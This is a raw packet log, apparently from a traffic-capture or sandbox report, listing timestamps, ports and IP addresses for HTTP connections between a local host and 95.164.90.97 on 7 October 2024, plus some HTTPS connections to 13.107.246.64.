Oct 7, 2024 18:00:52.561464071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561465025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561476946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561491966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561491966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561516047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561539888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561825037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561836004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561847925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561858892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561858892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561870098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561877012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561888933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561902046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561903000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561913967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561918974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561925888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561937094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561944008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561952114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.561970949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.561986923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.562369108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.562380075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.562413931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.564271927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564285040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564299107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564311028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564328909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.564347029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.564481974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564495087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564507008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.564527988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.564543009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.578641891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.578742981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.578753948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.578767061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.578793049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.578818083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.579124928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579135895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579147100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579157114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579168081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579178095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579332113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.579715014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579730034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579741001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579752922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579758883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.579765081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579776049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579790115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.579822063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.579988003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.579998970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580020905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580046892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580230951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580248117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580260038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580271006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580282927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580291033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580293894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580307961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580317020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580317974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580332041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.580336094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580352068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580374956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.580524921 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.580885887 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.580900908 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.581341028 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.581350088 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.581351042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581362009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581372976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581384897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581397057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581399918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.581408024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581423044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581433058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.581434965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581446886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581449986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.581458092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.581466913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.581494093 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582197905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582210064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582221031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582238913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582241058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582251072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582257032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582262039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582273006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582284927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582284927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582295895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582307100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582312107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582319021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582328081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582330942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582355976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582380056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582845926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582856894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582868099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.582891941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.582916021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.585357904 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.589646101 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.589658022 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.590030909 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.590035915 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.624682903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.624746084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.624773026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.624783993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.624816895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.625446081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.625458956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.625471115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.625483036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.625483990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.625518084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.643915892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644062996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644078970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644129992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644153118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644160032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644172907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644182920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644193888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644195080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644212008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644238949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644642115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644653082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644665003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644676924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644680977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644690037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644701004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644705057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.644727945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644743919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.644951105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645529985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645550966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645562887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645572901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.645601988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.645692110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645703077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645714998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645724058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.645726919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.645750999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.645775080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646192074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646203041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646214008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646224976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646236897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646239996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646249056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646260977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646267891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646271944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646286011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646296978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646313906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646337986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646852970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646864891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646876097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646887064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646895885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646898985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646910906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.646923065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.646941900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.647339106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647350073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647361994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647373915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647407055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.647407055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.647473097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647485018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.647507906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.647531986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648238897 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.648281097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648292065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648303032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648314953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648327112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648329973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648339033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648353100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648355961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648375988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648391008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648709059 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.648736954 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.648777008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648838997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648849964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.648874044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.648900032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.649204969 CEST	49914	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.649211884 CEST	443	49914	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.649341106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.649353027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.649364948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.649377108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.649393082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.649420023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663263083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663326025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663361073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663372993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663398981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663403034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663429976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663573027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663583040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663595915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663610935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663611889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663624048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663636923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663644075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663651943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663675070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663693905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.663964987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663975954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.663994074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664011002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664036036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664165020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664176941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664189100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664200068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664207935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664237976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664380074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664417982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664483070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664494991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664505959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664518118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664527893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664529085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664541006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664555073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664557934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664571047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.664577007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664597034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.664623976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665112972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665123940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665134907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665144920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665155888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665158987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665167093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665178061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665189028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665190935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665206909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665210009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665219069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665229082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665230036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665242910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665255070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665257931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665271997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665282965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665290117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665293932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.665311098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665332079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.665997028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666009903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666021109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666033983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666040897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.666045904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666057110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666068077 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.666069031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:52.666088104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.666106939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:52.686321974 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.686392069 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.686434984 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.686502934 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.686661959 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.686666965 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.686681032 CEST	49913	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.686686039 CEST	443	49913	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.689624071 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.689637899 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.689698935 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.689718962 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.689898014 CEST	49917	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.689907074 CEST	443	49917	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.690516949 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.690576077 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.690603018 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.690615892 CEST	443	49912	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:52.690624952 CEST	49912	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:52.690629959 CEST	443	49912	13.107.246.64	192.168.2.5
